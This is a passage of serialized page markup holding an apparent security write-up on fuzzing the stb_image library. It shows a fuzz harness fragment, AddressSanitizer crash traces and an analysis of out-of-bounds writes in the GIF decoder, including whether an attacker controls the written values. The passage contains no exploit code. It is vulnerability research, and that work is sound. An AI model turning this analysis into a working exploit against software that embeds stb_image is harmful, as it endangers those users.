NULL",{"type":26,"tag":217,"props":9858,"children":9859},{"style":7048},[9860],{"type":32,"value":7618},{"type":26,"tag":217,"props":9862,"children":9863},{"class":7028,"line":7621},[9864,9868,9872],{"type":26,"tag":217,"props":9865,"children":9866},{"style":7042},[9867],{"type":32,"value":9737},{"type":26,"tag":217,"props":9869,"children":9870},{"style":7130},[9871],{"type":32,"value":9742},{"type":26,"tag":217,"props":9873,"children":9874},{"style":7048},[9875],{"type":32,"value":7162},{"type":26,"tag":217,"props":9877,"children":9878},{"class":7028,"line":7672},[9879],{"type":26,"tag":217,"props":9880,"children":9881},{"style":7048},[9882],{"type":32,"value":9754},{"type":26,"tag":217,"props":9884,"children":9885},{"class":7028,"line":7681},[9886],{"type":26,"tag":217,"props":9887,"children":9888},{"style":7048},[9889],{"type":32,"value":9890},"    \n",{"type":26,"tag":217,"props":9892,"children":9893},{"class":7028,"line":7754},[9894,9899],{"type":26,"tag":217,"props":9895,"children":9896},{"style":7064},[9897],{"type":32,"value":9898},"    stbi_image_free",{"type":26,"tag":217,"props":9900,"children":9901},{"style":7048},[9902],{"type":32,"value":9903},"(ret);\n",{"type":26,"tag":217,"props":9905,"children":9906},{"class":7028,"line":7784},[9907],{"type":26,"tag":217,"props":9908,"children":9909},{"emptyLinePlaceholder":17},[9910],{"type":32,"value":7817},{"type":26,"tag":217,"props":9912,"children":9913},{"class":7028,"line":7802},[9914,9918,9923],{"type":26,"tag":217,"props":9915,"children":9916},{"style":7042},[9917],{"type":32,"value":7171},{"type":26,"tag":217,"props":9919,"children":9920},{"style":7130},[9921],{"type":32,"value":9922}," 0",{"type":26,"tag":217,"props":9924,"children":9925},{"style":7048},[9926],{"type":32,"value":7162},{"type":26,"tag":217,"props":9928,"children":9929},{"class":7028,"line":7811},[9930],{"type":26,"tag":217,"props":9931,"children":9932},{"style":7048},[9933],{"type":32,"value":7184},{"type":26,"tag":39,"props":9935,"children":9936},{},[9937],{"type":32,"value":9938},"And soon after starting the fuzzer it found an interesting bug:",{"type":26,"tag":207,"props":9940,"children":9942},{"code":9941},"=================================================================\n==1087247==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x52d000008800 thread T0\n    #0 0x655424309a49 in stbi__out_gif_code stb/stb_image.h:6233\n    #1 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n    #2 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n    [...]\n    #19 0x65542430a697 in stbi__process_gif_raster stb/stb_image.h:6326\n    #20 0x65542430b936 in stbi__gif_load_next stb/stb_image.h:6443\n    #21 0x65542430c90e in stbi__gif_load stb/stb_image.h:6573\n    #22 0x6554242fc0d4 in stbi__load_main stb/stb_image.h:989\n    #23 0x6554242fc927 in stbi__load_and_postprocess_8bit stb/stb_image.h:1088\n    #24 0x6554242fd34f in stbi_load_from_file stb/stb_image.h:1174\n    #25 0x6554242fd22c in stbi_load stb/stb_image.h:1164\n    [...]\n",[9943],{"type":26,"tag":83,"props":9944,"children":9945},{"__ignoreMap":8},[9946],{"type":32,"value":9941},{"type":26,"tag":631,"props":9948,"children":9950},{"id":9949},"investigating-the-finding",[9951],{"type":32,"value":9952},"Investigating the Finding",{"type":26,"tag":39,"props":9954,"children":9955},{},[9956,9958,9964,9966,9971],{"type":32,"value":9957},"The ASAN output shows that at line ",{"type":26,"tag":83,"props":9959,"children":9961},{"className":9960},[],[9962],{"type":32,"value":9963},"6233",{"type":32,"value":9965}," of ",{"type":26,"tag":83,"props":9967,"children":9969},{"className":9968},[],[9970],{"type":32,"value":9478},{"type":32,"value":9972}," an attempt was made to write a single byte out-of-bounds. Looking at the nearby source:",{"type":26,"tag":207,"props":9974,"children":9976},{"code":9975,"language":2255,"meta":8,"className":9574,"style":8},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n   stbi_uc *p, *c;\n   int idx; \n\n   [...]\n\n   if (g->cur_y >= g->max_y) return;\n\n   idx = g->cur_x + g->cur_y; \n   p = &g->out[idx];\n   g->history[idx / 4] = 1;          // OOB write\n",[9977],{"type":26,"tag":83,"props":9978,"children":9979},{"__ignoreMap":8},[9980,10026,10034,10060,10073,10080,10088,10095,10153,10160,10206,10241],{"type":26,"tag":217,"props":9981,"children":9982},{"class":7028,"line":7029},[9983,9988,9992,9997,10002,10007,10012,10017,10021],{"type":26,"tag":217,"props":9984,"children":9985},{"style":7154},[9986],{"type":32,"value":9987},"static",{"type":26,"tag":217,"props":9989,"children":9990},{"style":7154},[9991],{"type":32,"value":8936},{"type":26,"tag":217,"props":9993,"children":9994},{"style":7064},[9995],{"type":32,"value":9996}," stbi__out_gif_code",{"type":26,"tag":217,"props":9998,"children":9999},{"style":7048},[10000],{"type":32,"value":10001},"(stbi__gif ",{"type":26,"tag":217,"props":10003,"children":10004},{"style":7149},[10005],{"type":32,"value":10006},"*",{"type":26,"tag":217,"props":10008,"children":10009},{"style":7054},[10010],{"type":32,"value":10011},"g",{"type":26,"tag":217,"props":10013,"children":10014},{"style":7048},[10015],{"type":32,"value":10016},", stbi__uint16 ",{"type":26,"tag":217,"props":10018,"children":10019},{"style":7054},[10020],{"type":32,"value":83},{"type":26,"tag":217,"props":10022,"children":10023},{"style":7048},[10024],{"type":32,"value":10025},")\n",{"type":26,"tag":217,"props":10027,"children":10028},{"class":7028,"line":6770},[10029],{"type":26,"tag":217,"props":10030,"children":10031},{"style":7048},[10032],{"type":32,"value":10033},"{\n",{"type":26,"tag":217,"props":10035,"children":10036},{"class":7028,"line":6779},[10037,10042,10046,10051,10055],{"type":26,"tag":217,"props":10038,"children":10039},{"style":7048},[10040],{"type":32,"value":10041},"   stbi_uc ",{"type":26,"tag":217,"props":10043,"children":10044},{"style":7149},[10045],{"type":32,"value":10006},{"type":26,"tag":217,"props":10047,"children":10048},{"style":7048},[10049],{"type":32,"value":10050},"p, ",{"type":26,"tag":217,"props":10052,"children":10053},{"style":7149},[10054],{"type":32,"value":10006},{"type":26,"tag":217,"props":10056,"children":10057},{"style":7048},[10058],{"type":32,"value":10059},"c;\n",{"type":26,"tag":217,"props":10061,"children":10062},{"class":7028,"line":7140},[10063,10068],{"type":26,"tag":217,"props":10064,"children":10065},{"style":7154},[10066],{"type":32,"value":10067},"   int",{"type":26,"tag":217,"props":10069,"children":10070},{"style":7048},[10071],{"type":32,"value":10072}," idx; \n",{"type":26,"tag":217,"props":10074,"children":10075},{"class":7028,"line":7165},[10076],{"type":26,"tag":217,"props":10077,"children":10078},{"emptyLinePlaceholder":17},[10079],{"type":32,"value":7817},{"type":26,"tag":217,"props":10081,"children":10082},{"class":7028,"line":7178},[10083],{"type":26,"tag":217,"props":10084,"children":10085},{"style":7048},[10086],{"type":32,"value":10087},"   [...]\n",{"type":26,"tag":217,"props":10089,"children":10090},{"class":7028,"line":7389},[10091],{"type":26,"tag":217,"props":10092,"children":10093},{"emptyLinePlaceholder":17},[10094],{"type":32,"value":7817},{"type":26,"tag":217,"props":10096,"children":10097},{"class":7028,"line":7406},[10098,10103,10107,10111,10116,10121,10126,10131,10135,10140,10144,10149],{"type":26,"tag":217,"props":10099,"children":10100},{"style":7042},[10101],{"type":32,"value":10102},"   if",{"type":26,"tag":217,"props":10104,"children":10105},{"style":7048},[10106],{"type":32,"value":7051},{"type":26,"tag":217,"props":10108,"children":10109},{"style":7054},[10110],{"type":32,"value":10011},{"type":26,"tag":217,"props":10112,"children":10113},{"style":7048},[10114],{"type":32,"value":10115},"->",{"type":26,"tag":217,"props":10117,"children":10118},{"style":7054},[10119],{"type":32,"value":10120},"cur_y",{"type":26,"tag":217,"props":10122,"children":10123},{"style":7149},[10124],{"type":32,"value":10125}," >=",{"type":26,"tag":217,"props":10127,"children":10128},{"style":7054},[10129],{"type":32,"value":10130}," g",{"type":26,"tag":217,"props":10132,"children":10133},{"style":7048},[10134],{"type":32,"value":10115},{"type":26,"tag":217,"props":10136,"children":10137},{"style":7054},[10138],{"type":32,"value":10139},"max_y",{"type":26,"tag":217,"props":10141,"children":10142},{"style":7048},[10143],{"type":32,"value":8380},{"type":26,"tag":217,"props":10145,"children":10146},{"style":7042},[10147],{"type":32,"value":10148},"return",{"type":26,"tag":217,"props":10150,"children":10151},{"style":7048},[10152],{"type":32,"value":7162},{"type":26,"tag":217,"props":10154,"children":10155},{"class":7028,"line":7439},[10156],{"type":26,"tag":217,"props":10157,"children":10158},{"emptyLinePlaceholder":17},[10159],{"type":32,"value":7817},{"type":26,"tag":217,"props":10161,"children":10162},{"class":7028,"line":7487},[10163,10168,10172,10176,10180,10185,10189,10193,10197,10201],{"type":26,"tag":217,"props":10164,"children":10165},{"style":7048},[10166],{"type":32,"value":10167},"   idx ",{"type":26,"tag":217,"props":10169,"children":10170},{"style":7149},[10171],{"type":32,"value":267},{"type":26,"tag":217,"props":10173,"children":10174},{"style":7054},[10175],{"type":32,"value":10130},{"type":26,"tag":217,"props":10177,"children":10178},{"style":7048},[10179],{"type":32,"value":10115},{"type":26,"tag":217,"props":10181,"children":10182},{"style":7054},[10183],{"type":32,"value":10184},"cur_x",{"type":26,"tag":217,"props":10186,"children":10187},{"style":7149},[10188],{"type":32,"value":9025},{"type":26,"tag":217,"props":10190,"children":10191},{"style":7054},[10192],{"type":32,"value":10130},{"type":26,"tag":217,"props":10194,"children":10195},{"style":7048},[10196],{"type":32,"value":10115},{"type":26,"tag":217,"props":10198,"children":10199},{"style":7054},[10200],{"type":32,"value":10120},{"type":26,"tag":217,"props":10202,"children":10203},{"style":7048},[10204],{"type":32,"value":10205},"; \n",{"type":26,"tag":217,"props":10207,"children":10208},{"class":7028,"line":7524},[10209,10214,10218,10223,10227,10231,10236],{"type":26,"tag":217,"props":10210,"children":10211},{"style":7048},[10212],{"type":32,"value":10213},"   p ",{"type":26,"tag":217,"props":10215,"children":10216},{"style":7149},[10217],{"type":32,"value":267},{"type":26,"tag":217,"props":10219,"children":10220},{"style":7149},[10221],{"type":32,"value":10222}," &",{"type":26,"tag":217,"props":10224,"children":10225},{"style":7054},[10226],{"type":32,"value":10011},{"type":26,"tag":217,"props":10228,"children":10229},{"style":7048},[10230],{"type":32,"value":10115},{"type":26,"tag":217,"props":10232,"children":10233},{"style":7054},[10234],{"type":32,"value":10235},"out",{"type":26,"tag":217,"props":10237,"children":10238},{"style":7048},[10239],{"type":32,"value":10240},"[idx];\n",{"type":26,"tag":217,"props":10242,"children":10243},{"class":7028,"line":7553},[10244,10249,10253,10258,10263,10267,10272,10277,10281,10285,10290],{"type":26,"tag":217,"props":10245,"children":10246},{"style":7054},[10247],{"type":32,"value":10248},"   g",{"type":26,"tag":217,"props":10250,"children":10251},{"style":7048},[10252],{"type":32,"value":10115},{"type":26,"tag":217,"props":10254,"children":10255},{"style":7054},[10256],{"type":32,"value":10257},"history",{"type":26,"tag":217,"props":10259,"children":10260},{"style":7048},[10261],{"type":32,"value":10262},"[idx ",{"type":26,"tag":217,"props":10264,"children":10265},{"style":7149},[10266],{"type":32,"value":5756},{"type":26,"tag":217,"props":10268,"children":10269},{"style":7130},[10270],{"type":32,"value":10271}," 4",{"type":26,"tag":217,"props":10273,"children":10274},{"style":7048},[10275],{"type":32,"value":10276},"] ",{"type":26,"tag":217,"props":10278,"children":10279},{"style":7149},[10280],{"type":32,"value":267},{"type":26,"tag":217,"props":10282,"children":10283},{"style":7130},[10284],{"type":32,"value":9742},{"type":26,"tag":217,"props":10286,"children":10287},{"style":7048},[10288],{"type":32,"value":10289},";",{"type":26,"tag":217,"props":10291,"children":10292},{"style":7033},[10293],{"type":32,"value":10294},"          // OOB write\n",{"type":26,"tag":39,"props":10296,"children":10297},{},[10298,10300,10306,10308,10314,10316,10322],{"type":32,"value":10299},"It’s reasonable to assume ",{"type":26,"tag":83,"props":10301,"children":10303},{"className":10302},[],[10304],{"type":32,"value":10305},"idx",{"type":32,"value":10307}," is outside the bounds of ",{"type":26,"tag":83,"props":10309,"children":10311},{"className":10310},[],[10312],{"type":32,"value":10313},"g->history",{"type":32,"value":10315},", which leads to a one-byte OOB write (",{"type":26,"tag":83,"props":10317,"children":10319},{"className":10318},[],[10320],{"type":32,"value":10321},"g->history[idx / 4] = 1",{"type":32,"value":10323},"). That single-byte OOB is hard to exploit remotely, but it was the only corruption observed initially, so we investigated further.",{"type":26,"tag":39,"props":10325,"children":10326},{},[10327,10329,10334,10336,10342,10344,10349,10351,10357,10359,10365],{"type":32,"value":10328},"Because ",{"type":26,"tag":83,"props":10330,"children":10332},{"className":10331},[],[10333],{"type":32,"value":39},{"type":32,"value":10335}," is computed from ",{"type":26,"tag":83,"props":10337,"children":10339},{"className":10338},[],[10340],{"type":32,"value":10341},"g->out[idx]",{"type":32,"value":10343}," immediately before the violation, we considered whether ",{"type":26,"tag":83,"props":10345,"children":10347},{"className":10346},[],[10348],{"type":32,"value":10305},{"type":32,"value":10350}," could also be OOB for ",{"type":26,"tag":83,"props":10352,"children":10354},{"className":10353},[],[10355],{"type":32,"value":10356},"g->out",{"type":32,"value":10358},". Note that computing the address ",{"type":26,"tag":83,"props":10360,"children":10362},{"className":10361},[],[10363],{"type":32,"value":10364},"&g->out[idx]",{"type":32,"value":10366}," does not itself access the memory, so ASAN wouldn’t flag it.",{"type":26,"tag":39,"props":10368,"children":10369},{},[10370,10372,10377],{"type":32,"value":10371},"If we comment out ",{"type":26,"tag":83,"props":10373,"children":10375},{"className":10374},[],[10376],{"type":32,"value":10321},{"type":32,"value":10378}," and re-run the fuzzing input, ASAN reports another violation in the same function at a different line:",{"type":26,"tag":207,"props":10380,"children":10382},{"code":10381},"=================================================================\n==8578==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x7f0fe6e6c800 thread T0\n    #0 0x5d54e32a4315 in stbi__out_gif_code stb/stb_image.h:6237\n    [...]\n",[10383],{"type":26,"tag":83,"props":10384,"children":10385},{"__ignoreMap":8},[10386],{"type":32,"value":10381},{"type":26,"tag":39,"props":10388,"children":10389},{},[10390],{"type":32,"value":10391},"This corresponds to:",{"type":26,"tag":207,"props":10393,"children":10395},{"code":10394,"language":2255,"meta":8,"className":9574,"style":8},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n   [...]\n\n   idx = g->cur_x + g->cur_y; \n   p = &g->out[idx];\n   g->history[idx / 4] = 1;  \n\n   c = &g->color_table[g->codes[code].suffix * 4];\n   if (c[3] > 128) {\n      p[0] = c[2];        // OOB write\n      p[1] = c[1];\n      p[2] = c[0];\n      p[3] = c[3];\n   }\n",[10396],{"type":26,"tag":83,"props":10397,"children":10398},{"__ignoreMap":8},[10399,10438,10445,10452,10459,10502,10533,10577,10584,10653,10694,10740,10779,10818,10857],{"type":26,"tag":217,"props":10400,"children":10401},{"class":7028,"line":7029},[10402,10406,10410,10414,10418,10422,10426,10430,10434],{"type":26,"tag":217,"props":10403,"children":10404},{"style":7154},[10405],{"type":32,"value":9987},{"type":26,"tag":217,"props":10407,"children":10408},{"style":7154},[10409],{"type":32,"value":8936},{"type":26,"tag":217,"props":10411,"children":10412},{"style":7064},[10413],{"type":32,"value":9996},{"type":26,"tag":217,"props":10415,"children":10416},{"style":7048},[10417],{"type":32,"value":10001},{"type":26,"tag":217,"props":10419,"children":10420},{"style":7149},[10421],{"type":32,"value":10006},{"type":26,"tag":217,"props":10423,"children":10424},{"style":7054},[10425],{"type":32,"value":10011},{"type":26,"tag":217,"props":10427,"children":10428},{"style":7048},[10429],{"type":32,"value":10016},{"type":26,"tag":217,"props":10431,"children":10432},{"style":7054},[10433],{"type":32,"value":83},{"type":26,"tag":217,"props":10435,"children":10436},{"style":7048},[10437],{"type":32,"value":10025},{"type":26,"tag":217,"props":10439,"children":10440},{"class":7028,"line":6770},[10441],{"type":26,"tag":217,"props":10442,"children":10443},{"style":7048},[10444],{"type":32,"value":10033},{"type":26,"tag":217,"props":10446,"children":10447},{"class":7028,"line":6779},[10448],{"type":26,"tag":217,"props":10449,"children":10450},{"style":7048},[10451],{"type":32,"value":10087},{"type":26,"tag":217,"props":10453,"children":10454},{"class":7028,"line":7140},[10455],{"type":26,"tag":217,"props":10456,"children":10457},{"emptyLinePlaceholder":17},[10458],{"type":32,"value":7817},{"type":26,"tag":217,"props":10460,"children":10461},{"class":7028,"line":7165},[10462,10466,10470,10474,10478,10482,10486,10490,10494,10498],{"type":26,"tag":217,"props":10463,"children":10464},{"style":7048},[10465],{"type":32,"value":10167},{"type":26,"tag":217,"props":10467,"children":10468},{"style":7149},[10469],{"type":32,"value":267},{"type":26,"tag":217,"props":10471,"children":10472},{"style":7054},[10473],{"type":32,"value":10130},{"type":26,"tag":217,"props":10475,"children":10476},{"style":7048},[10477],{"type":32,"value":10115},{"type":26,"tag":217,"props":10479,"children":10480},{"style":7054},[10481],{"type":32,"value":10184},{"type":26,"tag":217,"props":10483,"children":10484},{"style":7149},[10485],{"type":32,"value":9025},{"type":26,"tag":217,"props":10487,"children":10488},{"style":7054},[10489],{"type":32,"value":10130},{"type":26,"tag":217,"props":10491,"children":10492},{"style":7048},[10493],{"type":32,"value":10115},{"type":26,"tag":217,"props":10495,"children":10496},{"style":7054},[10497],{"type":32,"value":10120},{"type":26,"tag":217,"props":10499,"children":10500},{"style":7048},[10501],{"type":32,"value":10205},{"type":26,"tag":217,"props":10503,"children":10504},{"class":7028,"line":7178},[10505,10509,10513,10517,10521,10525,10529],{"type":26,"tag":217,"props":10506,"children":10507},{"style":7048},[10508],{"type":32,"value":10213},{"type":26,"tag":217,"props":10510,"children":10511},{"style":7149},[10512],{"type":32,"value":267},{"type":26,"tag":217,"props":10514,"children":10515},{"style":7149},[10516],{"type":32,"value":10222},{"type":26,"tag":217,"props":10518,"children":10519},{"style":7054},[10520],{"type":32,"value":10011},{"type":26,"tag":217,"props":10522,"children":10523},{"style":7048},[10524],{"type":32,"value":10115},{"type":26,"tag":217,"props":10526,"children":10527},{"style":7054},[10528],{"type":32,"value":10235},{"type":26,"tag":217,"props":10530,"children":10531},{"style":7048},[10532],{"type":32,"value":10240},{"type":26,"tag":217,"props":10534,"children":10535},{"class":7028,"line":7389},[10536,10540,10544,10548,10552,10556,10560,10564,10568,10572],{"type":26,"tag":217,"props":10537,"children":10538},{"style":7054},[10539],{"type":32,"value":10248},{"type":26,"tag":217,"props":10541,"children":10542},{"style":7048},[10543],{"type":32,"value":10115},{"type":26,"tag":217,"props":10545,"children":10546},{"style":7054},[10547],{"type":32,"value":10257},{"type":26,"tag":217,"props":10549,"children":10550},{"style":7048},[10551],{"type":32,"value":10262},{"type":26,"tag":217,"props":10553,"children":10554},{"style":7149},[10555],{"type":32,"value":5756},{"type":26,"tag":217,"props":10557,"children":10558},{"style":7130},[10559],{"type":32,"value":10271},{"type":26,"tag":217,"props":10561,"children":10562},{"style":7048},[10563],{"type":32,"value":10276},{"type":26,"tag":217,"props":10565,"children":10566},{"style":7149},[10567],{"type":32,"value":267},{"type":26,"tag":217,"props":10569,"children":10570},{"style":7130},[10571],{"type":32,"value":9742},{"type":26,"tag":217,"props":10573,"children":10574},{"style":7048},[10575],{"type":32,"value":10576},";  \n",{"type":26,"tag":217,"props":10578,"children":10579},{"class":7028,"line":7406},[10580],{"type":26,"tag":217,"props":10581,"children":10582},{"emptyLinePlaceholder":17},[10583],{"type":32,"value":7817},{"type":26,"tag":217,"props":10585,"children":10586},{"class":7028,"line":7439},[10587,10592,10596,10600,10604,10608,10613,10617,10621,10625,10630,10635,10640,10644,10648],{"type":26,"tag":217,"props":10588,"children":10589},{"style":7048},[10590],{"type":32,"value":10591},"   c ",{"type":26,"tag":217,"props":10593,"children":10594},{"style":7149},[10595],{"type":32,"value":267},{"type":26,"tag":217,"props":10597,"children":10598},{"style":7149},[10599],{"type":32,"value":10222},{"type":26,"tag":217,"props":10601,"children":10602},{"style":7054},[10603],{"type":32,"value":10011},{"type":26,"tag":217,"props":10605,"children":10606},{"style":7048},[10607],{"type":32,"value":10115},{"type":26,"tag":217,"props":10609,"children":10610},{"style":7054},[10611],{"type":32,"value":10612},"color_table",{"type":26,"tag":217,"props":10614,"children":10615},{"style":7048},[10616],{"type":32,"value":7127},{"type":26,"tag":217,"props":10618,"children":10619},{"style":7054},[10620],{"type":32,"value":10011},{"type":26,"tag":217,"props":10622,"children":10623},{"style":7048},[10624],{"type":32,"value":10115},{"type":26,"tag":217,"props":10626,"children":10627},{"style":7054},[10628],{"type":32,"value":10629},"codes",{"type":26,"tag":217,"props":10631,"children":10632},{"style":7048},[10633],{"type":32,"value":10634},"[code].",{"type":26,"tag":217,"props":10636,"children":10637},{"style":7054},[10638],{"type":32,"value":10639},"suffix",{"type":26,"tag":217,"props":10641,"children":10642},{"style":7149},[10643],{"type":32,"value":9690},{"type":26,"tag":217,"props":10645,"children":10646},{"style":7130},[10647],{"type":32,"value":10271},{"type":26,"tag":217,"props":10649,"children":10650},{"style":7048},[10651],{"type":32,"value":10652},"];\n",{"type":26,"tag":217,"props":10654,"children":10655},{"class":7028,"line":7487},[10656,10660,10664,10668,10672,10677,10681,10685,10690],{"type":26,"tag":217,"props":10657,"children":10658},{"style":7042},[10659],{"type":32,"value":10102},{"type":26,"tag":217,"props":10661,"children":10662},{"style":7048},[10663],{"type":32,"value":7051},{"type":26,"tag":217,"props":10665,"children":10666},{"style":7054},[10667],{"type":32,"value":2255},{"type":26,"tag":217,"props":10669,"children":10670},{"style":7048},[10671],{"type":32,"value":7127},{"type":26,"tag":217,"props":10673,"children":10674},{"style":7130},[10675],{"type":32,"value":10676},"3",{"type":26,"tag":217,"props":10678,"children":10679},{"style":7048},[10680],{"type":32,"value":10276},{"type":26,"tag":217,"props":10682,"children":10683},{"style":7149},[10684],{"type":32,"value":5903},{"type":26,"tag":217,"props":10686,"children":10687},{"style":7130},[10688],{"type":32,"value":10689}," 128",{"type":26,"tag":217,"props":10691,"children":10692},{"style":7048},[10693],{"type":32,"value":7618},{"type":26,"tag":217,"props":10695,"children":10696},{"class":7028,"line":7524},[10697,10702,10706,10710,10714,10718,10722,10726,10730,10735],{"type":26,"tag":217,"props":10698,"children":10699},{"style":7054},[10700],{"type":32,"value":10701},"      p",{"type":26,"tag":217,"props":10703,"children":10704},{"style":7048},[10705],{"type":32,"value":7127},{"type":26,"tag":217,"props":10707,"children":10708},{"style":7130},[10709],{"type":32,"value":1883},{"type":26,"tag":217,"props":10711,"children":10712},{"style":7048},[10713],{"type":32,"value":10276},{"type":26,"tag":217,"props":10715,"children":10716},{"style":7149},[10717],{"type":32,"value":267},{"type":26,"tag":217,"props":10719,"children":10720},{"style":7054},[10721],{"type":32,"value":8511},{"type":26,"tag":217,"props":10723,"children":10724},{"style":7048},[10725],{"type":32,"value":7127},{"type":26,"tag":217,"props":10727,"children":10728},{"style":7130},[10729],{"type":32,"value":332},{"type":26,"tag":217,"props":10731,"children":10732},{"style":7048},[10733],{"type":32,"value":10734},"];",{"type":26,"tag":217,"props":10736,"children":10737},{"style":7033},[10738],{"type":32,"value":10739},"        // OOB write\n",{"type":26,"tag":217,"props":10741,"children":10742},{"class":7028,"line":7553},[10743,10747,10751,10755,10759,10763,10767,10771,10775],{"type":26,"tag":217,"props":10744,"children":10745},{"style":7054},[10746],{"type":32,"value":10701},{"type":26,"tag":217,"props":10748,"children":10749},{"style":7048},[10750],{"type":32,"value":7127},{"type":26,"tag":217,"props":10752,"children":10753},{"style":7130},[10754],{"type":32,"value":185},{"type":26,"tag":217,"props":10756,"children":10757},{"style":7048},[10758],{"type":32,"value":10276},{"type":26,"tag":217,"props":10760,"children":10761},{"style":7149},[10762],{"type":32,"value":267},{"type":26,"tag":217,"props":10764,"children":10765},{"style":7054},[10766],{"type":32,"value":8511},{"type":26,"tag":217,"props":10768,"children":10769},{"style":7048},[10770],{"type":32,"value":7127},{"type":26,"tag":217,"props":10772,"children":10773},{"style":7130},[10774],{"type":32,"value":185},{"type":26,"tag":217,"props":10776,"children":10777},{"style":7048},[10778],{"type":32,"value":10652},{"type":26,"tag":217,"props":10780,"children":10781},{"class":7028,"line":7570},[10782,10786,10790,10794,10798,10802,10806,10810,10814],{"type":26,"tag":217,"props":10783,"children":10784},{"style":7054},[10785],{"type":32,"value":10701},{"type":26,"tag":217,"props":10787,"children":10788},{"style":7048},[10789],{"type":32,"value":7127},{"type":26,"tag":217,"props":10791,"children":10792},{"style":7130},[10793],{"type":32,"value":332},{"type":26,"tag":217,"props":10795,"children":10796},{"style":7048},[10797],{"type":32,"value":10276},{"type":26,"tag":217,"props":10799,"children":10800},{"style":7149},[10801],{"type":32,"value":267},{"type":26,"tag":217,"props":10803,"children":10804},{"style":7054},[10805],{"type":32,"value":8511},{"type":26,"tag":217,"props":10807,"children":10808},{"style":7048},[10809],{"type":32,"value":7127},{"type":26,"tag":217,"props":10811,"children":10812},{"style":7130},[10813],{"type":32,"value":1883},{"type":26,"tag":217,"props":10815,"children":10816},{"style":7048},[10817],{"type":32,"value":10652},{"type":26,"tag":217,"props":10819,"children":10820},{"class":7028,"line":7621},[10821,10825,10829,10833,10837,10841,10845,10849,10853],{"type":26,"tag":217,"props":10822,"children":10823},{"style":7054},[10824],{"type":32,"value":10701},{"type":26,"tag":217,"props":10826,"children":10827},{"style":7048},[10828],{"type":32,"value":7127},{"type":26,"tag":217,"props":10830,"children":10831},{"style":7130},[10832],{"type":32,"value":10676},{"type":26,"tag":217,"props":10834,"children":10835},{"style":7048},[10836],{"type":32,"value":10276},{"type":26,"tag":217,"props":10838,"children":10839},{"style":7149},[10840],{"type":32,"value":267},{"type":26,"tag":217,"props":10842,"children":10843},{"style":7054},[10844],{"type":32,"value":8511},{"type":26,"tag":217,"props":10846,"children":10847},{"style":7048},[10848],{"type":32,"value":7127},{"type":26,"tag":217,"props":10850,"children":10851},{"style":7130},[10852],{"type":32,"value":10676},{"type":26,"tag":217,"props":10854,"children":10855},{"style":7048},[10856],{"type":32,"value":10652},{"type":26,"tag":217,"props":10858,"children":10859},{"class":7028,"line":7672},[10860],{"type":26,"tag":217,"props":10861,"children":10862},{"style":7048},[10863],{"type":32,"value":10864},"   }\n",{"type":26,"tag":39,"props":10866,"children":10867},{},[10868,10870,10875,10877,10882],{"type":32,"value":10869},"This confirms ",{"type":26,"tag":83,"props":10871,"children":10873},{"className":10872},[],[10874],{"type":32,"value":10305},{"type":32,"value":10876}," is OOB for ",{"type":26,"tag":83,"props":10878,"children":10880},{"className":10879},[],[10881],{"type":32,"value":10356},{"type":32,"value":10883}," as well - here it results in a four-byte OOB write. A four-byte OOB write is still not trivial to exploit remotely, but it is meaningfully more dangerous than a single-byte OOB.",{"type":26,"tag":39,"props":10885,"children":10886},{},[10887,10889,10895,10897,10904],{"type":32,"value":10888},"We've read through the GIF parsing code to find out if the written values can be controlled, and found that ",{"type":26,"tag":83,"props":10890,"children":10892},{"className":10891},[],[10893],{"type":32,"value":10894},"g->color_table",{"type":32,"value":10896}," is populated by ",{"type":26,"tag":163,"props":10898,"children":10901},{"href":10899,"rel":10900},"https://github.com/nothings/stb/blob/f1f077b2722f55e158cba020f0312ee2d13c463a/stb_image.h#L6166-L6175",[167],[10902],{"type":32,"value":10903},"stbi__gif_parse_colortable",{"type":32,"value":1473},{"type":26,"tag":207,"props":10906,"children":10908},{"code":10907,"language":2255,"meta":8,"className":9574,"style":8},"static void stbi__gif_parse_colortable(\n    stbi__context *s,\n    stbi_uc pal[256][4],    // g->color_table\n    int num_entries,\n    int transp\n) {\n   int i;\n   for (i=0; i \u003C num_entries; ++i) {\n      pal[i][2] = stbi__get8(s);\n      pal[i][1] = stbi__get8(s);\n      pal[i][0] = stbi__get8(s);\n      pal[i][3] = transp == i ? 0 : 255;\n   }\n}\n",[10909],{"type":26,"tag":83,"props":10910,"children":10911},{"__ignoreMap":8},[10912,10933,10954,10996,11012,11024,11031,11043,11088,11123,11154,11185,11243,11250],{"type":26,"tag":217,"props":10913,"children":10914},{"class":7028,"line":7029},[10915,10919,10923,10928],{"type":26,"tag":217,"props":10916,"children":10917},{"style":7154},[10918],{"type":32,"value":9987},{"type":26,"tag":217,"props":10920,"children":10921},{"style":7154},[10922],{"type":32,"value":8936},{"type":26,"tag":217,"props":10924,"children":10925},{"style":7064},[10926],{"type":32,"value":10927}," stbi__gif_parse_colortable",{"type":26,"tag":217,"props":10929,"children":10930},{"style":7048},[10931],{"type":32,"value":10932},"(\n",{"type":26,"tag":217,"props":10934,"children":10935},{"class":7028,"line":6770},[10936,10941,10945,10949],{"type":26,"tag":217,"props":10937,"children":10938},{"style":7048},[10939],{"type":32,"value":10940},"    stbi__context ",{"type":26,"tag":217,"props":10942,"children":10943},{"style":7149},[10944],{"type":32,"value":10006},{"type":26,"tag":217,"props":10946,"children":10947},{"style":7054},[10948],{"type":32,"value":3246},{"type":26,"tag":217,"props":10950,"children":10951},{"style":7048},[10952],{"type":32,"value":10953},",\n",{"type":26,"tag":217,"props":10955,"children":10956},{"class":7028,"line":6779},[10957,10962,10967,10971,10976,10981,10986,10991],{"type":26,"tag":217,"props":10958,"children":10959},{"style":7048},[10960],{"type":32,"value":10961},"    stbi_uc 